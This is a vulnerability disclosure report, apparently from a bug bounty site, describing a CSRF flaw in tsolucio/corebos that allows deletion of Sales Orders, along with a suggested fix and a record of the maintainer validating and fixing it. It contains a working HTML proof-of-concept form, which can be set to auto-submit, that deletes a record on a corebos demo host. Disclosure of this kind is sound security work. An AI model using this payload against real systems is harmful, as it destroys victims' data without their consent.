Cross-Site Request Forgery (CSRF) in tsolucio/corebos

Valid

Reported on

Aug 5th 2021


✍️ Description

Attacker able to delete any Sales Order with CSRF attack because there is any CSRF protection for related endpoint.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can delete a Sales Order, this means only with visiting a site a Sales Order will be deleted.

🕵️‍♂️ Proof of Concept

1.fisrt user already should be logged in browser.

2.Open the PoC.html and click on submit button ( Also it can be auto-submit)

3.Here Sales Order with record id 10569 will be deleted after clicking on submit button on PoC.html file.

// PoC.html

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://demo.corebos.com/index.php">
<input type="hidden" name="module" value="SalesOrder" />
<input type="hidden" name="action" value="Delete" />
<input type="hidden" name="record" value="10569" />
<input type="hidden" name="return&#95;module" value="SalesOrder" />
<input type="hidden" name="return&#95;action" value="index" />
<input type="hidden" name="return&#95;viewname" value="26" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Also for real attacks the submit button can be auto-submit.

💥 Impact

This vulnerability is capable of delete any Sales Order.

Fix

set SameSite attribute of cookies to Strict. 📍 Location index.php#L1

Occurrences

amammad modified the report
2 years ago
We have contacted a member of the tsolucio/corebos team and are waiting to hear back 2 years ago
Joe Bordes validated this vulnerability 2 years ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
Joe Bordes marked this as fixed with commit 42369c 2 years ago
Joe Bordes has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation